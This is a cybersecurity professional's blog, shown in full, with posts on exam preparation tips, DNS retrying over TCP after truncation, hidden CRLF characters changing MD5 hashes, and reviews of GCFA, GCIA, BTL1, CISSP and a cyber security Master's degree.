I think the best part of prep I did wasn’t just making indexes and notes, but making sure I knew how to find easy answers quickly. For example, from the objectives, Linux Password Cracking > Hashcat (so I’m not spoilies). Assuming they want you to crack passwords in a shadow file, you need to understand how to use hashcat etc to do so. Now, I’m not going to sit down and memorise the different mode numbericals (-m), because that’s hard. Sticking it in an index will take time to dig up and sift through when I need it. the easier way I found is to memorise hashcat --help | grep ‘\$6’ (or whatever $ value I need).

Similarly for Windows: I’m terrible with powershell, so things like get-help *remove* became my go to there (or looking things up in ISE). The key is knowing how to find the answer fast, not memorising every flag and parameter.

When initially reading the question, I understood conceptually pretty much right away what I needed to do, some of the struggle was just remember where / how / which flags etc. Usually that’s a google jobbie for me, but you can’t do that in the exam, so it was a nice eye opener on how reliant I’d become on the internet to solve my problems.

If you’re uncertain how tough or multi-step the exam is really going to be, the demo questions were very, very representative (at least for me), and showed me I really needed to buckle down and get my study on / notes cleaned up. I don’t think I would have passed if they hadn’t have scared me straight.

Through my (roughly) 8 years of experience in cyber security I’ve done most of the things I had to do in the test; fluffing around with snort, tinkering with file sytem permissions, touching packets on networks, host based shenanigans and forensics, light red team mischief etc.

For context on difficulty: I usually get through SANS exams in about an hour. This one took me right down to the last 8 minutes. Not every question was brutal - some I completed in a couple of minutes - but the hard ones were HARD. I spent an hour on the last 3, stumbling around knowing what I needed to do but working out how to actually get it done.

All in all, I love this exam, and I’m really looking forward to sitting at least three more (GSE here I come!)

DNS over TCP?!

Wed, 22 Mar 2023 00:36:31 +1300

Working with colleagues on a detection ultimately caused by a Zeek bug, we found there’s a lot of discussion online about how “DNS uses TCP for Zone Transfers”. While this is true, it’s not the complete truth! To be fair, it used to be true in practice, because DNS responses used to be a lot smaller.

What actually happens is, the client sends the standard “Hey, gimme the A record for dnstcp.deloril.com”. If the response to the request is larger than 512 bytes, the DNS Server will send back only your query (in this example, dnstcp.deloril.com), and set the “truncated” flag to true in the response packet. (this is because UDP responses are limited to 512 bytes for practical reasons)

When the client receives the response, it sees the truncated flag set, and goes “oh damn, I need to request this record over a mechanism that can receive large responses reliably.” TCP to the rescue! The client will then request the same record, but it will do it over TCP instead of UDP.

For a long time, this was just zone transfers, but nowadays (with DKIM and resource records and DNSSEC) large DNS responses are becoming a lot more common. Don’t believe me? Try it yourself! Spin up wireshark, and make a TXT record request for dnstcp.thisinsecureworld.com. You’ll see a UDP request, and the response will have the truncate flag set, then a TCP request will be made for the same resource. Your DNS client might even tell you it received a large response and it’s automagically retrying over TCP.

For anyone looking for the gory details, check out the RFC.

Hashing and Hidden Characters

Thu, 23 Jun 2022 00:00:00 +0000

I was sitting in a training class the other day, learning about hashing. The instructor ran a demo on the screen of the below command.

1
2

C:\Users\student\Desktop\md5deep-4.4>echo koala | md5deep64
340fa0664ec760eadddf2216bb8bc1d5

One eagle-eyed student asked an inisghtful question, absolutely showing off his critical thinking skills (ok, ok, it was me, and I only asked it in my brain).

“In windows, does the space between koala and | matter?”.

Being a naturally lazy lad, I can’t be bothered downloading and installing md5deep64, so I crack open the amazing CyberChef. I type koala into the input box, and add the MD5 recipe, as shown below.

Success! Those hashes don’t match, so the space between koala and pipe must have been included in the hash input. Heck, we’ve already got cyberchef open, let’s do a sanity check while we’re here (the pipe looking character after koala is actually a flashing cursor, showing there’s a space there)

Hoo- wait, what? That’s a different hash again. Fine, damn our laziness, let’s go find md5deep and do our own testing. First, we replicate the condition we’re testing for:

1
2

C:\Users\student\Desktop\md5deep-4.4>echo koala | md5deep64
340fa0664ec760eadddf2216bb8bc1d5

Hooray! It matches. Aight, let’s get rid of the space, see if our hash changes

1
2

C:\Users\student\Desktop\md5deep-4.4>echo koala|md5deep64
fa453c56d2590383aac34119a707ad35

Starting to feel like a pokemon master collecting all these hashes. Fine, let’s see what’s actually getting passed to md5deep64 when we pipe it through. I know in the below command I’m also replacing pipe (|) with a redirect to disk (>), but we’ll test out to make sure that doesn’t break it later.

C:\Users\student\Desktop\md5deep-4.4>echo koala > myfile.txt

C:\Users\student\Desktop\md5deep-4.4>type myfile.txt
koala

So far so good. Let’s crack open myfile.txt in a hex editor (HxD for me) and see exactly what made it to disk:

Referencing an ASCII table, we can see the characters 6B 6F 61 6C 61 map to k o a l a, so we’re on the right track. 20 maps to space, so boom! we’ve answered our initial question (is the space included to be hashed). But what are these other crazy characters - 0D 0A. Looking at the ASCII table, they map to carriage return and line feed respectively. This is basically what computers record when you hit enter in a document.

History time! Think of an old school typewriter, first the “carriage” has to return to it’s starting position (when you type, it moves right along the page, so it’s returns to it’s leftmost position). Then we feed in a new line of paper (because otherwise we’d type over what we just typed). So, 0D, carriage return, 0A, line feed, new line.

We solved it! … or did we? We’ve still made some changes, and need to prove they didn’t introduce these changes separate from the hashing issue. Validation time!

This recipe is effectively taking the hex values we enter, converting them back into ASCII, then hashing the output. And we can see our original hash! Looks like echo in Windows adds a new line (a 0D 0A) after it’s finished printing to make it look prettier on the command line. Thanks Windows!

About

Sun, 06 Mar 2022 00:00:00 +0000

Hey look, it’s an about page. I’ll probably get around to fleshing this out someday. For now, just know I enjoy all things tech, and helping other people learn techie things too. If you have questions or concerns, you can get me at blog@thisinsecureworld.com.

On AI and Writing

Full transparency: I use Claude to help clean up my blog posts. I write drafts that make perfect sense to me (and probably only me), then use AI to translate my brain-dump into something readable by normal humans. All the ideas, technical content, and inevitable errors are mine - Claude just helps make my writing less painful for you to read. If I’ve stuffed something up technically, that’s on me, not the AI.

FOR508 - GIAC Certified Forensic Analyst

Fri, 08 Oct 2021 04:12:10 +0000

Date Earned: September 27, 2021

Proof: https://www.credly.com/badges/d3e6e8d6-cfe3-4cda-a235-dd8a8e2ace7e/public_url
Linky: https://www.sans.org/cyber-security-courses/advanced-incident-response-threat-hunting-training/

A pass is a pass

This post is a little different. I didn’t attend the SANS training for this before taking the exam. Reading through the syllabus on the course page, I guesstimated that my experience and some labbing specific tools I was unfamiliar with would get me over the line, but more on that below.

Before sitting this exam, my pertinent experience was largely almost 3 years as an incident response consultant at Mandiant. In my time there, I spent a whole bunch of cycles examining individual hosts and performing threat hunting across entire environments for our clients. I worked and led incidents from initial triage through to remediation.

In addition to performing incident response, I was a lead instructor for both Windows and Linux Enterprise Incident Response courses, and the Network Traffic Analysis course. Being an instructor for these courses required learning all artefacts and processes to a greater degree of competence, because you’ll never know which out-of-the-box question a student will ask. While “I’m not certain, but I’ll find out” is a valid response (as long as you do), being able to answer the question on the spot is even better.

Self-education

My first step is to enumerate all the tools, techniques, and artefacts that are covered by the SANS course and therefore are within the scope of the exam. I start by visiting the FOR508 SANS page. Findings like the below tell me I should be working with Volatility, F-Response, Velociraptor and the Comae tools to gain functional knowledge, as I may be tested on them.

Hints, hints everywhere

A little further down, I see that I need to learn about timestamps and how and when they get updated. I also note some additional tools I need to get good with.

Tools and artifacts! Score!

Now that I’ve noted these down, I’ll head out to the internet and do some open-source intelligence gathering (OSINT) looking for further clues. It would be immoral to obtain the courseware (and against the SANS copyright, which if discovered may lead to any instructor applications being insta-denied - no bueno!). What we can do instead though is look for indexes other students have created and posted online. This will help us flesh out our to-learn list with more nuance than the website may have provided.

Looks like we get very deep into NTFS attributes

Now that we know what we need to know, it’s time to get learning. My thought process now was to learn the artefacts (read, theory) first, before deploying tools and getting deep into the practical. To that end, I picked up my handy dandy copy of Incident Response and Computer Forensics, 3e. For an in depth review of this book, you can see this blog entry.

For the purposes of preparing for GCFA, it gave me a timely refresher on NTFS artefacts, the incident response process, advantages of live response over dead disk forensics, etc. Everything a growing boy needs to pass this exam. As it’s a hard copy too, I can bring it in to the exam with me to reference, so even better there.

Time to get hands on! In this portion, I worked out which tools I’d be using at each stage of the incident response lifecycle. I built a small home lab with a couple of windows workstations, an AD server, a file server, and a Kali box. This let me leverage my GCIH experience to generate a compromised environment with artefacts aplenty.

Babies first compromise

After getting in and thoroughly hosting the network, I realised for IR purposes I needed something to start with, an initial lead, if you will. I performed more and more actions before getting frustrated and just downloading vanilla mimikatz onto Workstation 2. The resulting alert became my initial lead.

One of the few times this is considered success

I had a play with Kansa to collect artefacts off the hosts. This was pretty cool, but I think it’s value really shines when you deploy it at scale. Honestly didn’t spend too much time on this outside of gaining a familiarity.

Instead, I cracked open KAPE, a fantastic tool that captures live response data from a target system, including things like the $MFT that require raw disk access. KAPE ships with a number of different pre-generated collection profiles to get you up and running super quick.

It just seemed appropriate to use the SANS Triage Package

After that, I used plaso to take our artefacts and build a nice big super timeline. For each host, I worked through the timeline and identified as many artefacts of my own activity as I could, making notes on how they tied together, and which artefact provided which information. Used a bunch of artefact specific tools here too, like PECmd to parse prefetch files. Heck, if Zimmerman wrote it, I probably used it in this phase (thank goodness for Eric Zimmerman).

Having dropped a bunch of time on memory analysis in the past, I didn’t do too much to refresh this skill set. That said, I did find two books by Andrea Fortuna very useful. There was a GCFA sketchbook which, while I suspect it was written for the previous version of the training, was very useful. Possibly more importantly, the second book is basically a manual for Volatility, which has man pages for a good chunk of the default modules. This I used a lot in the exam.

I used the two practice tests in the middle of the above, mostly to fill gaps so I didn’t need to re-do work and make sure I was on the right track. They were valuable, but didn’t identify any additional tools or artefacts that needed to be worked in.

Finally, I had a “mini index” created that was basically just a collection of SANS posters, and man pages for the likes of Zimmerman’s tools, event log types and codes, SID breakdowns, timestamps, NTFS artefacts, etc.

Certification

This was, unfortunately, the worst testing experience I’ve had to date. This was for a few reasons, only one of which was the fault of GIAC (as far as I know).

Some exam questions were a bit ambiguous. It felt like the question was being made deliberately unclear or convoluted, or tested my ability to comprehend English rather than apply technical knowledge to a problem. I feel that this was done in an attempt to make them artificially difficult.

I took the ProctorU test in the comfort of my own home. When connecting, the proctor didn’t speak to me at all, and just provided all instruction over the Logmein chat system. While this was functional, there were no instructions on what to do if anything went wrong. Bet you can’t see where this is going…

Yep, about halfway through my exam, the proctor pinged me and advised he needed to restart some things because my webcam wasn’t visible. Whatever my man, do what you need to. After about 10 minutes of poking around, I notice there’s no more interaction from the proctor. I alt-tab out to the Logmein chat, and see the session has been disconnected. Cue the nervous sweats.

Webcam is still pointing at me, and my phone is on silent on the desk behind me. There’s a chance they’re calling me to get me to re-establish a connection. There’s also a chance they have an auto-reconnect procedure, and as soon as I get up to pick up my phone, they’re going to bounce me for cheating. Decision paralysis kicked in, and I just sat looking at my screen waiting (and straining my ears to hear the vibration of my phone ringing), for about 15 minutes.

After 15 minutes, I decided enough was enough. I switched tabs out to the ProctorU sign in page, and refreshed. This allowed me to download a new Logmein package, and start again (in hindsight, I could have just re-run the executable I downloaded to start the exam, but that didn’t occur to me at the time. Shines under pressure, that’s me.)

I was connected to a new proctor and explained the situation. After re-securing the room, I was allowed to continue my exam. Problem solved, right? … almost. Despite my prompting otherwise, the proctor insisted on resuming my exam in chrome (the first half was sat in Firefox). After answering a single question, I was told I was locked out of my exam because (surprise surprise) the testing engine detected I was using a different browser. In the future I’ll be un-pinning Chrome (my personal browser) from the task bar, as this seems to cause proctors no end of confusion.

Reaching out to the proctor, this was quickly rectified, and I was able to finish my exam in relative peace. And that, friends, is how I self studied and passed the GCFA exam. If you plan to walk this path yourself, good luck! If you have any questions, you can reach me via the social buttons on the left.

Charles Sturt University - Master of Cyber Security

Tue, 31 Aug 2021 05:31:00 +0000

Date Earned: August 15, 2021
Linky: https://itmasters.edu.au/course/master-of-cyber-security/

Oh no! You know my middle name is Cameron!

This review is from the point of view of a mature aged student who already had a good deal of cyber security experience when starting study. This course required 12 classes to be undertaken and passed to have enough credits to pass the Masters. I applied for Recognition of Prior Learning (RPL) to six of these classes, in the form of:

[CISSP]({{ $baseurl }}/isc2-cissp/) (two credits)
Sec+ (one credit)
ACS Certified Professional (two credits)
ISFCE CCE (one credit)

I signed up through the IT Masters scheme.

Who’s it for?

I’d recommend this Masters degree to anyone who wants to learn how to perform literature-based research, and gain or improve their formal writing capabilities. Outside these things, there are much better learning options for every class I took through uni except Network Security and Cryptography.

Training

Network Security and Cryptography

I was super lucky in getting Michael Bewong as the professor for this class. Michael taught us about cryptography, from the history of (rail fence, Caesar, etc) through to best in practice today (AES, RSA, etc). We get to perform RSA encryption, decryption and key generation by hand, which made me feel like a proper nerd (in a good way).

Following that, we move on to network based authentication mechanisms, with NTLM and Kerberos. We learn the cryptographic principles underlying these technologies and how they can be attacked.

The prescribed text for this class was Cryptography and Network Security: Principles and Practice, and it was pretty great.

Hacking Countermeasures

This course was a watered down CEH. It covered the hacker mindset, and a range of tools. One assignment had us building a USB bourne password extractor, that could be used in conjunction with a social engineering attack. While a cool exercise, everything in this course would have been accomplished with CEH prep and an afternoon of google.

The prescribed text for this class was the CEH Certified Ethical Hacker All-in-One Exam Guide, Fourth Edition.

Dark Web

I hated this class with a passion. The content was largely around cyber crime, with a splash of TOR. The prescribed text for this class was Inside the Dark Web, which was authored by the professor and assistant. It reads like a collection of uni papers smushed together, and there are sections that actively contradict each other. If this class wasn’t core (and therefore mandatory), I would have dropped it.

Emerging Technology and Innovation

I really enjoyed this class. The idea here is you complete it in your last semester of uni, and research to a good level of detail some form of emerging technology, or even find a problem and research a novel solution. The research I performed for this was around a passion of mine: helping small businesses prepare their environments for incident response. If you’re interested, this research formed the core of my GCIH Gold paper, and there’ll be a link to that in a future post. This research was wrapped in project management and incremental updates, culminating in a written report and presentation of your findings. It really feels like a course written to give students a taste of the PhD life.

Cyber Warfare and Terrorism

This course was decidedly ok. It leaned a bit too heavily into discussing cyber crime. Once we’d gotten through that, the bulk of our learning was achieved by researching technology used in warfare, and existing cyber-terrorism attacks. Reading books like Countdown To Zero Day: Stuxnet and the Launch of the World’s First Digital Weapon and blogs like Mandiant’s Shamoon blog entry would provide you with a similar level of knowledge.

The prescribed text for this course was Understanding Cyber-Warfare Politics, Policy, and Strategy, and it was ok.

Forensic Investigation

This class felt next to useless. The prescribed text was Guide to Computer Forensics and Investigations, and it’s pretty amazing. There is a caveat on this book that it has some textual errors that give a strong impression that the upgrade from 6e to 7e wasn’t as well edited as it should have been. Despite that, I loved this book. Unfortunately, so did the professor. All the assessment material was taken from this book’s exercises, which felt like cheating, given the cost of this class.

I was also disappointed by the professor. There were a number of instances in the class where when asked questions, the professor clearly didn’t know the answer and tried to either bluff his way through or stuck to the book. Unfortunately, in one instance, the book was also incorrect (some MFT time headers had shifted, which was in keeping with the MFT header format), and the professor backed the book to the hilt despite overwhelming contrary evidence.

Final Thoughts

If you’re after formal research and writing skills, this Masters will deliver. If you want hands-on technical depth, save your money and hit YouTube, SANS, or home labs. The exception is Network Security and Cryptography with Michael Bewong - that class alone was worth showing up for.

SBT - Blue Team Level 1

Sun, 06 Jun 2021 04:39:00 +0000

Date Earned: May 17, 2021
Proof: https://www.credly.com/badges/9fec1b76-6012-48a3-a21c-866cf385dac0/public_url
Linky: https://securityblue.team/why-btl1/

Shiny gold coin

I was pleasantly surprised by this training. I’d had a few people reach out asking what I thought about it, and I was lucky enough to take the course (£499 when I signed up). Having completed it, I’d highly recommend it to anyone wanting to jump into blue team work. I have some commentary around the incident response material and the exam itself below, but bottom line: this course is absolutely worth the price tag.

Who’s it for?

This training is for anyone who’s been exposed to general computing, and wants to get into cyber security. It’s also for people in SOC roles who want to improve their skills, or bypassed SOC experience and want to see what they missed. It’s a super valuable course that I can’t recommend highly enough.It’s also absolutely perfect for people looking to pick up soft skills with a heavy cyber security focus. It has solid sections on report writing, teamwork, work from home and office etiquette, and mental health. I’d honestly recommend the course for this section alone.

Training

Foundation

The training provided by SBT is broken into 5 main domains, so this review will be too! Outside of the technical domains, this course is somewhat unique in that it starts with an overview of security roles and how they all tie together, giving new students a common foundation.

We learn about security (physical and cyber), the technology and appliances that cyber professionals use, and networking fundamentals (TCP/IP, OSI, and common protocols like ARP, DNS, HTTP, IP, etc).

Beyond technical content, the course covers communication (written and oral), team building, problem solving, and office etiquette (wear pants, even when working from home got a chuckle out of me). This soft skills content is generally overlooked by training but invaluable for new workforce entrants.

Most importantly, this training covers mental health: imposter syndrome, burnout, and alert fatigue. From personal experience, imposter syndrome can be crippling. I only learned about it from a fantastic manager at Mandiant. If I’d understood it earlier, it would have been enormously beneficial. Even if the rest of the course was rubbish, massive props to Security Blue Team for including this.

Of course, the rest of the content isn’t rubbish, so let’s dive in.

Phishing Analysis

According to the Verizon Data Breach Report phishing is the most utilised initial infection vector used by threat actors. So it makes sense SOC analysts learn about this in depth. Through this training, we learn about the different type of malicious emails.

We’re taught how to read email headers and identify anomalies in both the header and body of an email to quickly determine if an email is phishing or legitimate. Even if the sending domain looks legit, we’re taught how to break through that and identify spoofing.

I know, you think malicious emails, you think malicious attachments. We learn how to pull these out of emails (manually, if we have to) and analyse them. We learn about the common phishing attachments (anyone shocked macro-enabled word documents is number one?), and how to analyse these safely too.

Given that phishing emails frequently lead to phishing web pages (commonly to farm credentials), we also learn how to analyse these pages. Tools like URL2PNG let us interact with these websites without accessing them directly, which I hadn’t heard of before and thought was cool.

We also learn how to analyse the domains behind the web pages, using things like whois to identify young domains. We also learn to use our brains to identify things like typosquatting or URL shortening services and how they’re utilised by threat actors.

As blue teamers, it’s critically important that we understand the defenses we can deploy to mitigate these attacks. SBT do a good job of describing configurations and technology that can be implemented to help protect our customers or employers.

Threat Intelligence

As we dive into threat intelligence (TI), we learn all about the different types of threat actors (hacktivists, cyber criminals, nation states, insiders, etc). We learn about different techniques different groups will use, and how that may inform our incident response engagements or investigations. There’s a good level of detail in this section about APT groups, and the MITRE ATT&CK framework.

We learn about different sources of threat intelligence, and the forms this intelligence may take. It may be open source intelligence (OSINT) that we can find ourselves, or hidden behind paywalls where you have to subscribe to a service to get access to the intel.

The intel itself may be in the form of a human readable report, or in a variety of formats designed for ingestion by intel or security platforms. We dive into indicators of compromise and the platforms that support them (STIX, TAXII, OpenIOC, Yara, etc), and how these can be leveraged by TI teams.

We learn about intelligence sharing platforms, and have a lab where we can set up MISP for use in our own engagements. Of course, we learn about information sharing within our local communities, or the global infosec community, and some considerations around each.

Finally, this discussion would be incomplete without coverage of the Lockheed Martin cyber kill chain. This kill chain informs how the rest of our intelligence can be used at strategic and tactical levels, and sets our organisation up for success.

Digital Forensics

In diving into digital forensics, we get down and dirty with the low level workings of various file systems and how they’re utilised by different operating systems. For example, the Windows layout of an NTFS drive is completely alien to an EXT4 drive used by a linux OS.

We also learn about hardware. What’s great (and not so great) about SSD drives for us as digital forensic practitioners. When and how to use write blockers and anti-static wrist straps. We are told about how to plan for various investigations, the importance of evidence preservation and chains of custody, and the criticality of solid documentation. Yep, we write down our mistakes - it’s almost more important than documenting the things that work!

Erasing files via the standard recycle bin and more challenging forensically sound techniques are covered in a good level of detail. Both Windows and Linux artifacts are covered both in what they are and how to analyse them in a good level of detail.

As far as tools go, we get hands on with Autopsy (for disk) and Volatility (for Memory).

We learn about what general legal proceedings look like, and how we can prepare both technically and non-technically for the interpersonal part of this work. Honestly, I’m probably missing a bunch here because I just sort of skimmed this section, as it was largely revision.

Security Incident and Event Management (SIEM)

The SIEM section was magnificently detailed. We learn about the history of a SIEM is, where it came from, and the problems it was intended to solve. We look into the challenges of data collection at scale, and when it makes sense (and when it doesn’t). There’s a pretty sweet section in the beginning covering different SIEM solutions (Arcsight, Greylog, LogRhythm, Splunk) complete with pretty pictures.

Then we get to the meat and potatoes of SIEMs, which is aggregation and correlation. These sections detail the true value of a SIEM in that it can unearth patterns, threats and compromises you wouldn’t otherwise be aware of. It goes into how SIEMs can ingestion the likes of SIGMA rules, so that we can ingest feeds from our MISP and perform retroactive searches against collected data - that’s right, rules aren’t just forward looking anymore.

Finally, we get a deep dive in Splunk, possibly the largest name in the SIEM game. We learn how to install Splunk in VM’s ourselves for learning, and try our hand against Splunks’ Boss of the SOC challenges, where we learn to dig through decent amounts of data to investigate an incident. This provides enormous practical value both for the real world, and practice for the exam (hint hint). Practically, we learn about both searching retroactively, and creating alerts for proactive detections.

Incident Response

The incident response process taught by BTL1 is pretty clearly based on the NIST SP 800-61. I was a little disappointed by this section, as it felt it was missing something, though I can’t quite enumerate what. I felt that it’s more heavily focused on (and possibly authored by) people more at home than a SOC than an incident response engagement.

It goes into a good level of detail regarding the incident response lifecycle (Prepare, Detect / Analyse, Contain / Eradicate / Recover, Post incident activity (PIR)). We go on to learn about the difference between CERTs and CSIRT teams, and look into a case study with the greatest CERT on Earth, the New Zealand CERT (I’m a kiwi, but I’m totally not biased…).

This section dives into the incident response lifecycle, and it covers the different phases well, but it’s all a little clinical. I would have loved to see a case study or some other form of, if not a practical section, at least some thought-based exercises. Maybe a student is provided a scenario with a lead and some initial investigation, and needs to decide if it’s appropriate to pursue containment or how to guide the next phase of the investigation. Keen to see how this looks in BTL2.

The report template provides a solid methodology for investigating the compromise. As the only part of the exam you’re actually marked on too, it’s a great mark of how ready the assessee is for the real world; writing reports like this for clients (either as a formal report or part of a ticketing system) is a critical skill.

Certification

Where I loved the training material, I was a little disappointed by the exam. The format of the exam is a hands on wee investigation, which I love. You get 24 hours in total to go through the exam process. For the first 12 hours, you’re in a small network investigating a compromise. While this investigation is fairly well led through the provided exam report template, it seems a touch arbitrary. There was no provided “this is why we think the network is compromised” as a part of the narrative scenario, and it broke my immersion a bit.

The exam environment itself is accessed via a remote access session through your browser. That means if you want to interactively access a machine you want to investigate, you’re RDP’ing through your browser to an investigation machine, then RDP’ing or SSH’ing or what have you through to a second machine. If you have internet (or bad luck on the lab environment’s internal connection) like me, you’re in for a bit of a rough time.

The lab has limited internet access, which makes sense. Threw a small spanner in the works for me, as I was planning on importing tools that I was more familiar with to perform analysis. Egg on my face there, the lack of internet access makes sense really. The downside here was that some of the tools I was taught about (and found to be awesome in the course) required internet access to become usable, so I couldn’t use those either, which was frustrating.

The approved tools weren’t clearly enumerated, which cost me time. I spent most of my exam using tools with desktop shortcuts, only to discover near the end that additional tools were accessible via the start menu. Pro tip: if you’ve been taught a tool and think it’ll be useful, hit the Windows key and search for it when you start the exam.

On the positive side, the intrusion uses modern tools and techniques you’ll actually see in the real world - no old CVEs or Windows XP boxes. The scenarios are what I’d expect an MSP SOC analyst to encounter regularly.

The feedback I got from this exam is the best I’ve had from any assessment. A couple days after submitting, I got an email advising I’d passed with 90%. The feedback included what I’d done well and what I’d missed or could improve. This shows SBT is keen on helping you improve even after the training engagement is done. (And no, I don’t share that feedback, it’s far too exam specific).

SEC503 - GIAC Certified Intrusion Analyst

Wed, 03 Mar 2021 00:00:00 +0000

Date Earned: February 13, 2021
Proof: https://www.credly.com/badges/56086fc8-f848-4b13-b7e4-b6f2947e1028/public_url
Linky: https://www.sans.org/cyber-security-courses/intrusion-detection-in-depth/

This is frustration!

I loved this training and certification journey. This was my first SANS experience, and David Hoelzer was a proper rock star, but more on that below. Despite attempting the certification almost three years after sitting the training, I’m happy enough with the result (although part of me thinks I’d almost have rather gotten a 95%).

Who’s it for?

GCIA is for people who get down and dirty in networking. It suits SOC analysts who monitor, review and triage network intrusion detection / prevention systems, or who write detection logic for these systems. It suits incident response personnel who receive insanely large packet captures from clients and need to quickly triage, or investigate these collections for evidence of threat actor activity.It suits threat hunting staff flailing against the massive amounts of ingress / egress network traffic, searching for anomalies.It also suits security architects who want to be able to design and implement high quality intrusion detection and prevention systems across an organisation’s network.

A student who is familiar with general networking concepts (routing protocols, subnetting, NAT / PAT and a passing knowledge of the OSI model) will excel in this class. Skills with the linux command line will also be beneficial.

If you’re looking to get a head start on this training, or keep your skills sharp after taking the class, Malware Traffic Analysis has an impressive collection of scenarios, including pcap and alert data. It also has solutions to the problems, so you can continue learning even if you get proper stuck. All screenshots below have been taken from my processing of one of these scenario packages: Cupid’s Arrow Online.

Training

I took the OnDemand training in 2018. This provided me with mp3’s recorded from a class, downloadable VM’s with a collection of lab files. A few days after my start date, a box arrived with my physical course books and some swag (a SANS branded thermal cup that has a weird suction cup thing on the bottom, making it difficult to knock over. Had some real fun in the office slapping it around for an afternoon). Finally, I received 4 months access to pre-recorded lecture videos going over all of the content, and 4 months access to a VPN environment containing a CTF style server that seems to mimic the Day 6 challenge environment.

We start with the very core of how networking works, learning how packets are constructed at the byte level. We break down both the TCP/IP and OSI models, and how they work practically to make up frames, packets, and segments (but let’s be honest, in the real world they’re all packets ;) ). Furthermore, we dive deep into how different protocols work in isolation, and how they work together to make the internet work. If they weren’t already, jokes like this will suddenly be hilarious:I’d tell you a joke about UDP, but you might not get it.

Say hello to your new best friend

On this part of the course, I would have loved to see a little more information on NAT / PAT and subnetting, but that could very well be a personal preference.

Once we’re familiar with how networking works generally, we start to learn how we can capture and filter network traffic. This has us using Wireshark and tcpdump with Berkely Packet Filters (bpf) to filter live network traffic, or previously captured traffic, with surgical precision. This is where the knowledge we acquired yesterday shows its value - with a single filter, you can very quickly find only UDP packets, or packets sent to port 80, or only packets with the TCP RST and ACK flags set.

Let’s see only the TCP SYN packets headed to port 80

We also learn how to follow specific network conversations, and how to pull transmitted files (like files transmitted over HTTP). If we were concerned about any of these, we can save them to disk and perform deeper analysis.

Standard web traffic… or is it?

Now that we know how to deeply analyse specific networking conversations, we need to learn how to find those needles of interesting traffic in the haystack of business traffic. Here we learn what netflow is, and how we can use a suite of tools (known collectively as SiLK) to generate and review netflow data from either raw traffic or pcaps. SiLK provides a powerful capability in the identification and enumeration of trends, which is where netflow shines. This is largely where incident responders and threat hunters will derive a good deal of value.

Filtering for TCP (proto 6), and showing the top 5 results by source port. We’re probably monitoring some web servers here, but those high-ports are interesting.

We also learn about Snort and Bro (now Zeek), network traffic inspection systems that are going to be our detection or prevention bread and butter.

Snort takes signature files that take a single or combination of characteristics for a given network connection, and can alert on that traffic if the signature matches. This doesn’t just need to be networking characteristics (destination port, source IP address, protocol, etc), but can do complex matching against the packets themselves, known as Deep Packet Inspection. For example, destination port of 80 (HTTP, typically) but the application layer data doesn’t match HTTP, it’s all binary, or there’s no HEAD tag. We learn how to both read the alerts Snort generates, and write our own rules for newly identified malicious traffic.

Snort is alerting us to an oddity. Note the xref links. While not mandatory, if you write rules without them, I’ll cry.

With netflow, we don’t have enough information to perform a complete investigation. With Snort and full pcap, we have all the data in the world, but the infrastructure to support full pcap and the time to analyse it can be prohibitive. If only there was some form of middle ground…

Enter Zeek (formerly Bro). Zeek works to pull out the interesting parts of network traffic (files transmitted, certificate thumbprints, connection metadata, SNMP config’s pushed, etc) without the overhead of storing every packet transiting the network. Additionally, we can write our own rules to pull out specific metadata, if it matters for our particular environment. For example, maybe we write rules to log all commands sent from a central server out to ATMs, so that these can be audited and reviewed should anything go awry.

Stacking based on certificate issuer to find resources with a low frequency of occurrence.

With our newly minted detection logic in place, we need to test it before throwing it straight into production (because that’s what we do as professionals, right? We test, then push into production. We never test in production…). To that end, we get down and dirty with Scapy, a python project we can use to easily generate our own packets / network traffic. Most importantly (I think), Scapy takes the guard rails off and lets us programmatically generate invalid packets (as different OS’s handle these packets differently, we need to be able to test them). Invalid checksums, miscalculated TCP sequence numbers or IP length values, all are easily generated and transmitted with Scapy.

Custom packet built and sent in Scapy to test our detections

All of this is tested on Day 6, with a massive CTF style challenge. The challenge questions guide you through three massive 10 gigabyte+ packet capture files, each captured from a different segment of a fictitious network. It walks us through identifying some anomalous traffic, then has us track down this activity through the network and enumerating exactly what the threat actor did in this attack. Being OnDemand, I was ineligible for a sweet sweet challenge coin, which was unfortunate.

All of this content was expertly delivered by David Hoelzer, author and instructor for this course. Coming into it, I was dubious as to how SANS could justify their training price tag. David did a fantastic job of showing how SANS stays in business :D. He has mastered the art of answering questions students may have before they get asked - this is difficult at the best of times, but when you add in a non-interactive medium like OnDemand (pre-recorded videos), it really lets his expertise shine through. This expertise and theory is backed by a truly impressive number of hands on labs that cement the knowledge we’re being bombarded with.

Certification

I didn’t get a certification attempt as a part of my initial training. I only revisited the idea of getting this certification a couple of years later when I was in a better financial position. Cheeky hint here, if you ever find yourself in the same position, you can reach out to SANS, and they may flick you a tasty wee discount. It worked for me, which I was grateful for.

The exam attempt comes with two practice tests, which are super closely aligned to the actual exam in content and format. My test was made up of 106 questions, 10 of which were VM-based hands on practical questions, to be answered in a four-hour testing marathon.

The idea of hands on practical questions scared the crap out of me. Thankfully, I got to trial these in the practice tests, and realised they weren’t the monsters I’d built them up to be in my head. They aren’t massive compounded questions, as long as you can do all the material in the labs (and it’s open book, so you can look up your notes), you won’t have any issues. After going through the whole process, I think I’d rather a test made up of 20-30 practical questions over the inclusion of multi-choice questions.

I do strongly recommend the creation of your own index to take in to the exam, but more as a learning technique than as a pass-the-exam technique. This is mostly because I think the value of a certification is the process of acquiring the understanding required to pass, instead of rote memorisation.

Hopefully this has given you a better understanding of the SEC503 material and associated exam, and you can now make an informed decision about signing up, or be more confident going in to the exam. Either way, good luck! If you have any questions, you can reach me via the social buttons on the left.

ISC² CISSP

Mon, 01 Jun 2020 05:44:00 +0000

Date Earned: May 12, 2020

Before reading the below, the best piece of advice I can offer when reading any of these write-ups is bear in mind they are what worked for the author. Take from the below the parts that will help YOU prepare, and ignore the rest. If it isn’t helpful, it’s hurtful.

I really wanted to come out of this exam with some insight I’d not seen elsewhere, that magical silver bullet. That didn’t happen. All the advice I thought of after the exam was stuff I’d heard elsewhere. So what I’m offering here is a list of what I found most valuable based on my exposure to .1% of the possible exam questions.

Context (my experience before studying starts)

I’ve been in IT for around 10 years, with about 5 of that in dedicated infosec roles (incident analyst, responder, forensic investigator, appliance admin) across government and private sectors. Most recently, I spent two years doing incident response consulting and training others to do the same. I had certs covering Windows (MCSA), CompTIA Sec+, and various forensics and networking credentials.

Prep (What I used and what I thought)

Note, that this is MY experience, pick out what suits you, leave the rest.

Discord

First, for real, this discord, right here https://discord.com/invite/certstation. I wouldn’t have passed without it. I joined this discord… roughly 4-8 weeks before I sat the exam, did nothing for a week, then got really involved. I believe in order to get the most out of this server, you need to contribute. A couple of notes on this server, though:

